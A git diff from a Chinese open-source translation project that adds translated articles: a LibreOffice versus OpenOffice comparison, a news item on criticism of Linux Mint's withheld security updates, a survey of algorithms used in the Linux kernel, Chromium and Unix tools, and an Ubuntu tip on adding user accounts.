+LibreOffice和OpenOffice之间的程序大部分都是一样的。例如它俩的Draw,看起来完全没有区别;再如Impress,主要的区别就是LibreOffice的最新版支持使用Android设备控制幻灯片放映;除了幻灯片背景以外,两者其他方面没什么不同,都能很好的胜任日常使用,除非有特殊偏好,用户选择哪一款都可以;同样,在Calc电子制表软件中,两者最大的区别就是你可以在LibreOffice里创建数据表单。 + +即使在用户最常用的Writer程序中,两者的区别也很小。LibreOffice这边,编辑窗口的底部状态栏现在新包含了一个字词计数器,审阅标签也不再局限于某个单个点,现在可以附加在配图上,另外,LibreOffice终于解决了“脚注无法紧靠对应文本显示”的bug,除此以外,LibreOffice还添加了一个简易搜索栏,与web浏览器上的那种类似,同时,去掉了图形水平线的选项,这个功能过去十几年来几乎从没人用过。 + +###格式与字体### + +一些更明显的区别体现在格式分类与字体支持上。例如,OpenOffice始终支持一些较老的保存格式,像AportisDoc(Palm版)和Pocket Word。另外,它也可以打开.docx格式的文件,但是无法像LibreOffice一样将文档保存为docx格式。 + +LibreOffice同样在字体支持方面占有优势。它对多语言和高级排版工艺始终有较好的支持,因此最新发布版本能够支持OpenType这样的现代字体首选格式。更重要的,通过“文件->属性->字体”,你能够将字体嵌入到文档中去,无需任何繁琐操作,就能确保字体的兼容性。 + +这样的特性使得LibreOffice在面对微软Office用户转换格式的时候,得到了决定性的1分。因为通常OpenOffice和LibreOffice都无法很好处理微软格式的文档,特别是那些又有文字表格又有图形对象再加上复杂格式的文档。因此,如果你要共享复杂一些的文档,例如宣传手册,最好使用PDF格式,而不是Open文档格式(ODF)。 + +然而,如果你确实需要转换一些本地或微软的文档,LibreOffice拥有一些决定性优势。它不仅能读写大多数微软文档,而且它对字体替换处理的很好,而这正是文档格式转换时要面临的一个主要问题。尽管其他问题仍有不少,例如在特性实现上有所不同,但LibreOffice在处理微软Office文档时确实应该是一个更可靠的选择。 + +###对待插件扩展的政策### + +OpenOffice和LibreOffice两者都能很好的支持插件扩展,想要加强或替换某个特性的时候,用户只需要几分钟就能下载并安装完毕。大多数情况下,同一个扩展,在OpenOffice和LibreOffice上面都能工作的很好。 + +区别就在于,使用LibreOffice时,你无需亲自安装那些最流行的插件扩展。相反,LibreOffice已经帮你安装整合好了。例如,基本语法校验工具Lightproof、数据库汇总和打印工具ReportBuilder、演示文稿压缩工具PresentationMinimizer、博客用户喜欢的WikiPublisher、还有幻灯片配置工具PresentationConsole等等。 + +以上这些扩展在OpenOffice下同样可用。与前者不同的是,使用OpenOffice时,你首先需要知道有这些扩展,然后专门去找到它们,这样一来,很大程度上限制了新用户对很多功能的体验。因此,当OpenOffice在最近发布的版本中尝试努力提供更好用的现代模板和剪贴画时,这样的疏漏就成了一个非常严重的不足,特别是当它很容易弥补的时候,(更何况LibreOffice同时也提供了自家最新的模板和剪贴画)。 + +###界面的更新换代### + +在OpenOffice.org属于Sun和Oracle的12年日子里,它的界面和许多的其它功能一样,几乎被丢在遗忘的角落。如今的结果就是,OpenOffice和LibreOffice作为套件产品,都各自拥有一整套优秀的功能,但是它们的界面却仍停留在上世纪90年代的水平。只有表面上的一些老旧界面被移除,其实大部分仍然亟待更新。 + +在最新的发布中,OpenOffice试图彻底更新自己的界面的努力主要集中在“边栏”上。这一特性,你可以通过“工具->选项->LibreOffice->高级”打开,它被标记为“试验性”的。 + +边栏是一组功能集合,主要用于用户手动格式化。这一特性便于用户应用样式,因为如果用户关注在文章逻辑上,很容易忽略编排的样式。然而,最好的是,它大大简化了格式化字符和段落的选项卡,例如所有应用程序中都有的边框选项卡,以及电子表格单元格中的“格式”选项卡。幸运的是,边栏还重新定义了菜单和样式对话框窗口的概念。 + +LibreOffice还拥有更多的“冒险创新精神”,例如,与边栏类似,Impress中的任务面板,摘要显示了大多数幻灯片设计步骤中要用到的选项卡名称。 + +在Writer编辑窗口中,LibreOffice的大部分界面已经完成改进,窗口底部的状态栏中,添加了一个字词计数器,原本负责管理和编辑模板的狭窄子菜单,如今也已被高端大气上档次的流线形按钮所取代。 + +更明显的,LibreOffice中的主文本框架被精减为四个边角的十字准线。同样的,页眉和页脚也默认改为不可见,要想找到它们,四个小直角标明了它们的边界位置,点击就可以出现。 + +不太成功的一点改进是LibreOffice中管理页眉页脚的编辑窗口中的选项卡。虽然这个选项卡事实上是为了便于手动调整格式,但是让人郁闷的是,当在新一页的第一行输入的时候,已经输入的一部分总是会自动隐藏起来。 + +尽管LibreOffice还重组了许多对话窗口的选项,但是这些努力远没有结束。有时,开发人员会让LibreOffice变成传统框架与现代极简艺术的混合体,看起来有些不伦不类,但是,至少LibreOffice正在尝试着解决长期搁置的界面问题,而这些,OpenOffice甚至都还没来得及意识到。 + +###做出选择### + +如果文档不超过2到3页,一般用户可能会时常看看标题栏看自己用的是LibreOffice还是OpenOffice。然而,对于进阶用户而言,LibreOffice目前可能更有优势。优势并不算大,但是很明显。 + +这一优势的确很难被忽略。原因首先是,在LibreOffice已经确立了好几个月时间优势的情况下,OpenOffice却仍在专注于管理权和代码审计,这些工作也许有帮助,也有必要,但是普通用户更愿意看到他们对代码做出更多的改进工作。 + +其次,LibreOffice的开发人员大部分是[Go-oo][3]的前成员,这是OpenOffice.org的一个非官方分支,以“快速完善”为目标。当Apache OpenOffice项目组还在筹建中的时候,LibreOffice就已经吸引了全世界酷爱编程、热衷变革的天才们。 + +没有人做过准确的调查,但是我印象中,当OpenOffice.org社区分家的时候,大部分富于冒险创新精神的贡献者都选择了LibreOffice,同时,有一些半独立的文档小组,在谨慎地同时为两个项目工作。 + +其实,LibreOffice最重要的优势或许可以称之为“吸血许可证”。怎么个意思呢?就是OpenOffice的Apache许可证兼容LibreOffice的Lesser GNU通用公共许可证,但是LibreOffice的Less GNU通用公共许可证却不兼容OpenOffice的Apache许可证。换句话说,LibreOffice可以随意自由地从OpenOffice“借”代码,但是OpenOffice却根本无法从LibreOffice“借”到任何东西。严格地讲,如果想从LibreOffice“借”来某个功能,OpenOffice必须完全从头实现。 + +这一情况有可能会改变,尤其是当Apache OpenOffice比LibreOffice拥有更高的知名度的时候,然而LibreOffice的支持者们正在迅速扩张,它的社区非常活跃,短短3年间所做的要比OpenOffice.org十二年来做的还要多。 + +现在,除非你特别需要某个功能,使用OpenOffice还是LibreOffice几乎没有区别。但是,我断定,除非发生某些不可预料的事情,否则LibreOffice的优势将会越来越大。无论你选择支持哪一方,几年内,也许你会对它重新作出评价。 + +-------------------------------------------------------------------------------- + +via: http://www.datamation.com/applications/apache-openoffice-vs.-libreoffice-1.html + +译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.openoffice.org/ +[2]:http://www.libreoffice.org/ +[3]:https://en.wikipedia.org/wiki/Go-oo \ No newline at end of file diff --git a/published/CISCO Announce New Open Source H.264 Codec.md b/published/201311/CISCO Announce New Open Source H.264 Codec.md similarity index 100% rename from published/CISCO Announce New Open Source H.264 Codec.md rename to published/201311/CISCO Announce New Open Source H.264 Codec.md diff --git a/published/201311/Canonical Dev Calls Linux Mint ‘Vulnerable’, Wouldn’t Use it For Online Banking.md b/published/201311/Canonical Dev Calls Linux Mint ‘Vulnerable’, Wouldn’t Use it For Online Banking.md new file mode 100644 index 0000000000..71cce4cc30 --- /dev/null +++ b/published/201311/Canonical Dev Calls Linux Mint ‘Vulnerable’, Wouldn’t Use it For Online Banking.md @@ -0,0 +1,39 @@ +Canonical Dev称Linux Mint“脆弱”,不要将其用于网银 +================================================================================ +**一位Canonical公司[工程师建议][1]:基于Ubuntu的流行操作系统Linux Mint用户不应该将其用于网银 。** + +Mint决定禁止更新那些存在已知安全问题的安装包 - 从内核、浏览器到启动加载器和Xorg显示服务 - 这样给用户带来了一个“脆弱的系统” ,Oliver Grawert说。 + +> “不去马上整合Ubuntu提交的那些修正,而是拒绝这些软件包的(安全)更新。我要说,强制保持一个有缺陷的内核、浏览器或xorg,而不是允许安装更新补丁,这会变成一个易受攻击的系统,(原文如此)”。 +> +> “就我个人而言,我不会用它做网银操作。” + +当然不只有Grawert认为Mint在安全意识上的低下。Mozilla贡献者兼前Ubuntu成员 **Benjamin Kerensa** 也有同样的看法: + +> “目前还不清楚为什么Linux Mint禁止所有的安全更新。我可以说,Mint需要花好几个月才能得到一个Firefox的修正版,而Ubuntu和Debian已经早在他们的包上打了安全补丁。 +> +> 这将置Linux Mint用户处于危险中,也是我从来不建议任何人将Linux Mint作为一种替代Ubuntu的系统的主要原因之一。” + +Oliver Grawert是一位可靠的撰稿人。作为一位Canonical公司下的Ubuntu工程师,他比大多数人更了解自己在说什么。 + +那么Mint的用户存在实际风险么? + +半对半错。Mint开发商坚决拒绝更新的现有软件包中大部分的安全“漏洞”(这个词更好一些)都是有记录和已知的,虽然这些漏洞很少被利用。因此对用户构成的“实际风险”仍然存在,至少现在,在理论上是很有可能的。 + +也就是说,没有发生**已知的**由于使用Mint发行版(或任何其他基于Ubuntu的未打补丁的发行版)并被通过利用Grawert引用的Ubuntu开发邮件列表上的漏洞造成身份盗窃乃至更糟的事故的情况。 + +但是,仅仅因为迄今为止没有人曾经钻进这扇半掩的窗户,并不能说明其他人永远不会这么做。 + +**看到Ubuntu持续被提及有关自身的(主要是理论上)隐私问题后,至少它还穿着另外一只鞋子,我们可喜的看到它对用户安全的强烈关注正在延伸至其他发行版上。** + +*请注意:我们已经向Linux Mint征求意见及澄清,答复将在后继文章发表。* + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2013/11/canonical-dev-dont-use-linux-mint-online-banking-unsecure + +译者:[whatever1992](https://github.com/whatever1992) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://lists.ubuntu.com/archives/ubuntu-devel-discuss/2013-November/014770.html diff --git a/published/Cloud tool Juju GUI 0.11 released with new features and enhancements.md b/published/201311/Cloud tool Juju GUI 0.11 released with new features and enhancements.md similarity index 100% rename from published/Cloud tool Juju GUI 0.11 released with new features and enhancements.md rename to published/201311/Cloud tool Juju GUI 0.11 released with new features and enhancements.md diff --git a/published/201311/Core algorithms deployed.md b/published/201311/Core algorithms deployed.md new file mode 100644 index 0000000000..b90765df84 --- /dev/null +++ b/published/201311/Core algorithms deployed.md @@ -0,0 +1,298 @@ +那些算法在哪里? +================================================================================ + +本文来源于一篇stackexchange的[问题][101]回答。提问者问到,我们在计算机科学和数学课程里面学习到的那些算法,到底在什么地方用到了?结果[Vijay D][103]给出一个洋洋洒洒的[深入回答][102],得到了提问者和众多围观。我们将这篇回答翻译过来以飨读者。 + +[Vijay D][103]写到: + +在我看来,一个系统背后主要发挥作用的算法更容易在非算法课程上找到,这和应用数学中的成果比理论数学中更容易出现在应用中是一个道理。在讲座中,很少有实际问题能够精确匹配到一个抽象问题。归根结底,我认为没有理由让流行的算法课程,诸如Strassen乘法,AKS素性测试、或者Moser-Tardos算法与底层实际问题,如实现视频数据库、优化的编译器、操作系统、网络拥堵控制系统或者其他系统相关。这些课程的价值是学习利用错综复杂的方法发现问题的脉络而找出有效的解决方案。高级算法和简单算法的分析都不简单。正是由于这个原因,我不会忽略简单随机算法或者PageRank。 + +我想你可以选择任何一个大型软件,并在内部找到它所采用的基础和高级的算法。作为一个研究案例,我选择了Linux内核,并会示例一些Chromium里面的例子。 + +### Linux内核中的基本数据结构和算法 ### + +Linux内核([源代码的链接在github][1])。 + +1.[链表][2]、[双向链表][3]、[无锁链表][4]。 + +2.[B+ 树][5],这是一些你无法在教科书上找到的说明。 + +> 一个相对简单的B+树的实现。我把它作为一个学习练习来帮助理解B+树是如何工作的。这同样也被证明是有用的。 + +> ... + +> 一个在教科书中并不常见的技巧。最小的值在右侧而不是在左侧。所有在一个节点里用到的槽都在左侧,所有没有用到的槽包含了空值(NUL)。大多数操作只简单地遍历所有的槽一次并在第一个空值时(NUL)终止。 + +3.[优先排序列表][6] 用于 [互斥量][7]、[驱动][8]等等。 + +4.[红黑树][9][用于][10]调度、虚拟内存管理、追踪文件描述符和目录项等。 + +5.[区间树][11] + +6.[根树][12]用于[内存管理][13],NFS相关查询和网络相关功能。 + +> 根树的一个通用的用处是存储指针到结构页中。 + +7.[优先级堆][14],如其名称的教科书实现,用于[cgroup][15]。 + +> 《简单的基于CLR的只插入的,含有指针的定长优先级堆》第七章 + +8.[哈希函数][16],参考了Knuth和一篇论文。 + +> Knuth建议,用乘法哈希的机器字来表示接近黄金比例的素数的最大整数。Chuck Lever验证了该技术的有效性: +> +> [http://www.citi.umich.edu/techreports/reports/citi-tr-00-1.pdf][17] +> +> 这些素数的选择是位稀疏的,他们可以通过移位和加法操作,而不必使用乘法器,乘法器是很慢的。 + +9.有的代码,比如[这个驱动][18],实现了他们自己的哈希函数。 + +> 使用了一种旋转哈希算法的哈希函数 +> +> Knuth, D. 《计算机程序设计艺术, 卷 3: 排序与搜索》, 第6、7章. Addison Wesley, 1973 + +10.[哈希表][19]用于实现[inode][20]、[文件系统完整性检测][21]等等。 + +11.[位数组][22]用于处理标志位、中断等等。并在Knuth那本书的卷4中阐述。 + +12.[信号量][23]和[自旋锁][24] + +13.[二分查找][25]用于[中断处理][26],[寄存器缓存查询][27]等等。 + +14.[B树的二分查找][28]。 + +15.[深度优先搜索][29]被广泛地用于[目录配置中][30]。 + +> 执行一个修改过的命名空间树的深度优先遍历,以指定的start_handle节点开始(及结束)。回调函数会在任何一个参数匹配的节点被发现时被调用。如果回调函数返回了一个非0值,搜索将会立即终止并且将其返回给调用者。 + +16.[广度优先搜索][31]用于检测运行时锁定的正确性。 + +17.链表中的[归并排序][32]用于[垃圾收集][33]、[文件系统管理][34]等等。 + +18.[冒泡排序][35]在一个驱动库中也有一个令人惊讶的实现。 + +19.[Knuth-Morris-Pratt 字符串匹配][36], + +> 根据Knuth、Morris和Pratt\[1\]实现了一个线性时间的字符串匹配算法。他们的算法避免了转换函数的显式地计算DELTA。对于长度为n的文本,其匹配时间是O(n),对于长度为m的模式(pattern),仅使用一个辅助函数PI[1 . .m],预先计算模式的时间为O(m)。数组PI允许转换函数DELTA被实时有效地计算。粗略地说,对于任何状态"q"= 0,1,…、m和在SIGMA中的任何字符"a",PI["q"]的值包含的信息是独立的"a"并需要计算DELTA("q","a") \[2\]。既然PI只有m个记录,而DELTA有O(m |SIGMA|)个记录,在预处理时间计算PI而不是DELTA的时候,我们可以节省一个因数|SIGMA| +> +> \[1\] Cormen, Leiserson, Rivest, Stein,算法介绍,第二版,MIT出版社 +> +> \[2\] 见有限自动机原理 + +20.[Boyer-Moore 模式匹配][37]是在找替代品时的参考和建议。 + +> 实现了Boyer-Moore字符串匹配算法: +> +> \[1\] 《一个快速的字符串搜索算法》,R.S. Boyer and Moore.计算机通信协会,20(10), 1977, pp. 762-772. [http://www.cs.utexas.edu/users/moore/publications/fstrpos.pdf][38] +> +> \[2\] 《准确的字符串匹配算法手册》,Thierry Lecroq, 2004 [http://www-igm.univ-mlv.fr/~lecroq/string/string.pdf][39] +> +> 注:由于Boyer-Moore(BM)从右到左搜索匹配,仍然有可能匹配分布在多个块,在这种情况下该算法并没有优势。 +> +> 如果你希望确保这样的事情永远不会发生,那使用Knuth-Pratt-Morris(KMP)实现。总之,根据您的设置适当地选择字符串搜索算法。 +> +> 如果你正在用文本搜索器进行过滤,NIDS或任何类似的注重安全的目的,那么使用KMP。否则,如果你真的关心性能,并且你对数据包进行分类以使用服务质量(QoS)政策,当你不介意匹配可能分布分散,那么用BM。 + +### Chromium 浏览器中的数据结构和算法 ### + +Chromium的([源代码在 Google code][40])。我只会列出一部分。我建议使用搜索来找到你最喜欢的算法或者数据结构。 + +1.[伸展树][41]。 + +> 这个树通过分配策略(分配器)参数化。这个策略用于C的可用存储区的列表分配,参见zone.h。 + +2.[Voronoi算法][42]用于一个示例。 + +3.[基于Bresenham算法的选项卡][43] + +在Chromium的第三方代码里面也有如下的数据结构和算法。 + +1.[二叉树][44] + +2.[红黑树][45] + +> Julian Walker的总结 +> +> 红黑树是一个有趣的小东西。他们被认为比AVL树(它们的直接竞争对手)简单,乍一看这似乎是由于插入是一项轻松的乐事。然而,当你开始删除时,红黑树变得非常棘手。然而,通过复杂性的平衡,插入和删除可以使用单通道,实现自上而下的算法。这与AVL树情况不一样,插入只能自顶向下,删除则需要自下而上。 + +> ... +> +> 红黑树是很流行的,像大多数数据结构一样有一个古怪的名字。比如,在Java和c++库映射结构通常用红黑树实现。红黑树的速度也与AVL树相当。而AVL树平衡性不是很好,需要保持平衡的话红黑树通常更好。有一些流传的误解,但在大多数情况下对红黑树的宣传是准确的。 + +3.[AVL 树][46] + +4.[Rabin-Karp字符串匹配][47]用于比较。 + +5.[自动机后缀的计算][48]。 + +6.由Apple公司实现的[bloom过滤器][49]。 + +7.[Bresenham 算法][50]。 + +### 编程语言库 ### + +我想这个问题值得思考。编程语言设计者们认为值得花一些工程师的时间和精力来实现这些数据结构和算法,这样其他人就不必这么做了。这些库是我们在JAVA里面比C更少的发现需要重新实现基本数据结构的部分原因。 + +1.[C++ STL][51]包含了链表、栈、队列、映射、向量和[排序][52]、[搜索和堆操作][53]算法。 + +2.[Java API][54]易于扩展的并且越来越多。 + +3.[Boost C++ 库][55]包含了像 Boyer-Moore以及Knuth-Morris-Pratt字符串匹配算法。 + +### 分配和调度算法 ### + +我发现这些很有趣,因为即使他们被称为启发式,您使用的策略规定了算法类型和需要的数据结构,因此,所以需要人们知道栈和队列。 + +1.最近最少使用(LRU)算法可以用不同的方法实现。Linux内核有一种[基于列表的实现][56]。 + +2.其他的还有先入先出(FIFO)、最常使用和轮询。 + +3.FIFO的一个变种用于VAX/VMS系统。 + +4.[Richard Carr][58]的[时钟算法][57]用于Linux中的页面替换。 + +5.Intel i860处理器是一种随机替代策略。 + +6.[自适应置换高速缓存][59]用于一些IBM存储控制器中,也曾经用于PostgreSQL中([虽然仅仅因为一些专利问题][60])。 + +7.Knuth在《计算机程序设计艺术 卷1》中讨论过的[Buddy内存分配算法][61]内用于Linux内核中,jemalloc并发分配器被用于FreeBSD和[facebook][62]中。 + +### *nix系统核心工具 ### + +1.*grep*和*awk*同时从正则表达式中实现NFA的Thompson-McNaughton-Yamada构造,显然[这甚至击败了Perl的实现][63]。 + +2.*tsort*实现了拓扑排序。 + +3.*fgrep*实现了[Aho-Corasick字符串匹配算法][64]。 + +4.*GNU grep*,根据作者Mike Haertel实现了[Boyer-Mooresuan算法][65]。 + +5.Unix上的crypt(1)实现了一个在Enigma机器上的不同加密算法。 + +6.[*Unix diff*][66]由Doug McIllroy实现,基于和James Hunt合作编写的原形。它比用于计算Levenshtein距离的标准动态规划算法执行地更好。[Linux 版本][67]计算最短编辑距离。 + +### 加密算法 ### + +这本是一个非常长的列表。加密算法在所有执行安全通信和交易的程序中都有实现。 + +1.[Merkle 树][68],特别是 Tiger Tree Hash变种,被用于点对点应用,比如[GTK Gnutella][69]和[LimeWire][70]。 + +2.[MD5][71]被用于提供软件包的校验和并被用于在*nix系统上的完整性检测([Linux 实现][72]),同样也支持Windows和OSX。 + +3.[OpenSSL][73]实现了很多加密算法包括AES、Blowfish、DES、SHA-1、SHA-2、RSA、DES等等。 + +### 编译器 ### + +1.[LALR 解析][74]在yacc和bison实现。 + +2.支配算法被用于大多数基于SSA形式的编译器优化。 + +3.lex和flex将正则表达式编译为NFA。 + +### 压缩和图像处理 ### + +1.用于GIF图片格式的[Lempel-Ziv][75]算法在图像处理程序中实现,从*unix工具转化到复杂的程序。 + +2.行程长度编码用于产生PCX文件(用于原来的画笔程序),它是被压缩的BMP和TIFF文件。 + +3.小波压缩是JPEG2000的基础,所以所有生成JPEG2000文件的数码相机会支持这个算法。 + +4.Reed-Solomon纠错在[Linux内核][76]、CD驱动器、条形码读取器、结合从Voyager中的卷积图像传输中实现。 + +### 冲突驱动语句学习算法 (CDCL) ### + +自2000年以来,SAT求解器在工业标准的运行时间(通常是硬件工业,虽然其他地方也被使用)以近乎指数的方式每年下跌。这发展中很重要的一部分是冲突驱动语句学习算法,它结合了Davis Logemann和Loveland在约束规划和人工智能研究中关于语句学习的原始论文中的布尔约束传播算法。特定地,工业造型,SAT被认为是一个简单的问题([见这个讨论][77])。对我而言,这个一个最近最好的成功故事,因为它结合了这几年算法的不断发展、清晰的工程理念、实验性的评估、齐心协力地解决一个问题。[Malik 和 Zhang的CACM文章][78]值得阅读。这个算法在许多大学中教授(我参加过的4个地方都是如此),但是通常在一个逻辑或者形式方法课上。 + +SAT求解器的应用有很多。IBM,Intel和许多其他公司都有他们的SAT求解器实现。OpenSuse的[包管理器][78]同样使用了一个SAT求解器。 + +-------------------------------------------------------------------------------- + +via: http://cstheory.stackexchange.com/questions/19759/core-algorithms-deployed/19773#19773 + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://github.com/mirrors/linux-2.6 +[2]:https://github.com/mirrors/linux-2.6/blob/master/lib/llist.c +[3]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/list.h +[4]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/llist.h +[5]:https://github.com/mirrors/linux-2.6/blob/39caa0916ef27cf1da5026eb708a2b8413156f75/lib/btree.c +[6]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/plist.h +[7]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/include/linux/rtmutex.h +[8]:https://github.com/mirrors/linux-2.6/blob/f0d55cc1a65852e6647d4f5d707c1c9b5471ce3c/drivers/powercap/intel_rapl.c +[9]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/rbtree.h +[10]:http://lwn.net/Articles/184495/ +[11]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/interval_tree.h +[12]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/radix-tree.h +[13]:http://lwn.net/Articles/175432/ +[14]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/include/linux/prio_heap.h +[15]:https://github.com/mirrors/linux-2.6/blob/42a2d923cc349583ebf6fdd52a7d35e1c2f7e6bd/include/linux/cgroup.h +[16]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/include/linux/hash.h +[17]:ttp://www.citi.umich.edu/techreports/reports/citi-tr-00-1.pdf +[18]:https://github.com/mirrors/linux-2.6/blob/0b1e73ed225d8f7aeef96b74147215ca8b990dce/drivers/staging/lustre/lustre/lov/lov_pool.c +[19]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/hashtable.h +[20]:https://github.com/mirrors/linux-2.6/blob/42a2d923cc349583ebf6fdd52a7d35e1c2f7e6bd/fs/inode.c +[21]:https://github.com/mirrors/linux-2.6/blob/ff812d724254b95df76b7775d1359d856927a840/fs/btrfs/check-integrity.c +[22]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/bitmap.h +[23]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/semaphore.h +[24]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/spinlock.h +[25]:https://github.com/mirrors/linux-2.6/blob/master/lib/bsearch.c +[26]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/drivers/sh/intc/chip.c +[27]:https://github.com/mirrors/linux-2.6/blob/10d0c9705e80bbd3d587c5fad24599aabaca6688/drivers/base/regmap/regcache.c +[28]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/fs/befs/btree.c +[29]:https://github.com/mirrors/linux-2.6/blob/a9238741987386bb549d61572973c7e62b2a4145/drivers/acpi/acpica/nswalk.c +[30]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/fs/configfs/dir.c +[31]:https://github.com/mirrors/linux-2.6/blob/4fbf888accb39af423f271111d44e8186f053723/kernel/locking/lockdep.c +[32]:https://github.com/mirrors/linux-2.6/blob/master/lib/list_sort.c +[33]:https://github.com/mirrors/linux-2.6/blob/42a2d923cc349583ebf6fdd52a7d35e1c2f7e6bd/fs/ubifs/gc.c +[34]:https://github.com/mirrors/linux-2.6/blob/ff812d724254b95df76b7775d1359d856927a840/fs/btrfs/raid56.c +[35]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/drivers/media/common/saa7146/saa7146_hlp.c +[36]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/lib/ts_kmp.c +[37]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/lib/ts_bm.c +[38]:http://www.cs.utexas.edu/users/moore/publications/fstrpos.pdf +[39]:http://www-igm.univ-mlv.fr/~lecroq/string/string.pdf +[40]:https://code.google.com/p/chromium/ +[41]:https://code.google.com/p/chromium/codesearch#chromium/src/v8/src/splay-tree.h +[42]:https://code.google.com/p/chromium/codesearch#chromium/src/native_client_sdk/src/examples/demo/voronoi/index.html +[43]:https://code.google.com/p/chromium/codesearch#chromium/src/chrome/browser/ui/cocoa/tabs/tab_strip_controller.mm +[44]:https://code.google.com/p/chromium/codesearch#chromium/src/third_party/bintrees/bintrees/bintree.py +[45]:https://code.google.com/p/chromium/codesearch#chromium/src/third_party/bintrees/bintrees/rbtree.py +[46]:https://code.google.com/p/chromium/codesearch#chromium/src/third_party/bintrees/bintrees/avltree.py +[47]:https://code.google.com/p/chromium/codesearch#chromium/src/third_party/zlib/deflate.c +[48]:https://code.google.com/p/chromium/codesearch#chromium/src/native_client/src/trusted/validator_ragel/dfa_traversal.py +[49]:https://code.google.com/p/chromium/codesearch#chromium/src/third_party/WebKit/Source/wtf/BloomFilter.h +[50]:https://code.google.com/p/chromium/codesearch#chromium/src/third_party/libvpx/source/libvpx/vp8/common/textblit.c +[51]:http://www.cplusplus.com/reference/stl/ +[52]:http://www.cplusplus.com/reference/algorithm/ +[53]:http://www.cplusplus.com/reference/algorithm/ +[54]:http://docs.oracle.com/javase/7/docs/api/ +[55]:http://www.boost.org/doc/libs/1_55_0/libs/algorithm/doc/html/index.html#algorithm.description_and_rationale +[56]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/list_lru.h +[57]:http://en.wikipedia.org/wiki/Page_replacement_algorithm#Clock +[58]:http://dl.acm.org/citation.cfm?id=4750 +[59]:http://en.wikipedia.org/wiki/Adaptive_Replacement_Cache +[60]:http://www.varlena.com/GeneralBits/96.php +[61]:http://en.wikipedia.org/wiki/Buddy_memory_allocation +[62]:http://www.facebook.com/notes/facebook-engineering/scalable-memory-allocation-using-jemalloc/480222803919 +[63]:http://swtch.com/~rsc/regexp/regexp1.html +[64]:http://en.wikipedia.org/wiki/Aho%E2%80%93Corasick_string_matching_algorithm +[65]:http://lists.freebsd.org/pipermail/freebsd-current/2010-August/019310.html +[66]:http://www.cs.dartmouth.edu/~doug/diff.pdf +[67]:http://linux.die.net/man/3/diff +[68]:http://en.wikipedia.org/wiki/Merkle_tree +[69]:https://github.com/gtk-gnutella/bitter +[70]:http://en.wikibooks.org/wiki/LimeWire +[71]:http://en.wikipedia.org/wiki/MD5 +[72]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/crypto/md5.c +[73]:http://www.openssl.org/ +[74]:http://en.wikipedia.org/wiki/LALR_parser +[75]:http://en.wikipedia.org/wiki/Lempel_Ziv +[76]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/lib/reed_solomon/reed_solomon.c +[77]:http://rjlipton.wordpress.com/2009/07/13/sat-solvers-is-sat-hard-or-easy/ +[78]:http://dl.acm.org/citation.cfm?id=1536637 +[79]:http://en.opensuse.org/Portal%3aLibzypp + +[101]:http://cstheory.stackexchange.com/questions/19759/core-algorithms-deployed/ +[102]:http://cstheory.stackexchange.com/questions/19759/core-algorithms-deployed/19773#19773 +[103]:http://cstheory.stackexchange.com/users/4155/vijay-d \ No newline at end of file diff --git a/published/Create And Manage Encrypted Folders in Linux With encfs.md b/published/201311/Create And Manage Encrypted Folders in Linux With encfs.md similarity index 100% rename from published/Create And Manage Encrypted Folders in Linux With encfs.md rename to published/201311/Create And Manage Encrypted Folders in Linux With encfs.md diff --git a/published/201311/Daily Ubuntu Tips – Adding User Accounts In Ubuntu.md b/published/201311/Daily Ubuntu Tips – Adding User Accounts In Ubuntu.md new file mode 100644 index 0000000000..e74a4bbf69 --- /dev/null +++ b/published/201311/Daily Ubuntu Tips – Adding User Accounts In Ubuntu.md @@ -0,0 +1,43 @@ +每日Ubuntu小技巧——在Ubuntu中添加用户 +================================================================================ + +Ubuntu是一个多用户操作系统。多用户操作系统意味着多个用户可以通过独立的、个人的HOME文件夹,文件和设置访问计算机。用户**A**可以登录并修改他/她自己的配置文件而不会影响用户**B**的配置文件。 + +因此,你可以为每一个可能使用你家里电脑的用户创建一个独立的账户,而不是仅仅为所有人创建一个共享的账户。本文将展示使用Ubuntu时如何实现这一点。 + +为了获得上面所说的那样的独立账户,首先点击长条菜单栏上的齿轮图标,然后点击系统设置。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/09/ubuntulockscreendisable4.png) + +当如图所示的窗口打开后,点击屏幕下方的“**用户账户(User Accounts)**”,如下图所示。 + +![](http://www.liberiangeek.net/wp-content/uploads/2013/09/useraccountsubuntu.png) + 